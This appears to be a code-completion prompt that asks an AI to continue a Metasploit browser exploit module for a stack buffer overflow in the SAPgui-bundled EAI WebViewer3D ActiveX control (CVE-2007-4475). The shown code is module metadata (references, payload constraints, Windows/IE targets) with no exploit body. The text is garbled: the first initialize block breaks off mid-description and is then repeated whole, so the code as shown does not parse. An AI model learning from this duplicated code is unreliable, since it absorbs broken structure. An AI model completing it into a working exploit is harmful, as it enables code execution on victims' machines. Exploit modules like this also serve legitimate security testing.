You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: sapgui_saveviewtosessionfile.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/browser
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Siemens Unigraphics Solutions
        Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
        with SAPgui. When passing an overly long string the SaveViewToSessionFile()
        method, arbitrary code may be executed.
 
    
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP AG SAPgui EAI WebViewer3D Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Siemens Unigraphics Solutions
        Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled
        with SAPgui. When passing an overly long string the SaveViewToSessionFile()
        method, arbitrary code may be executed.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-4475' ],
          [ 'OSVDB', '53066' ],
          [ 'US-CERT-VU','985449' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => '2009-03-31',
      'DefaultTarget'  => 0))
  end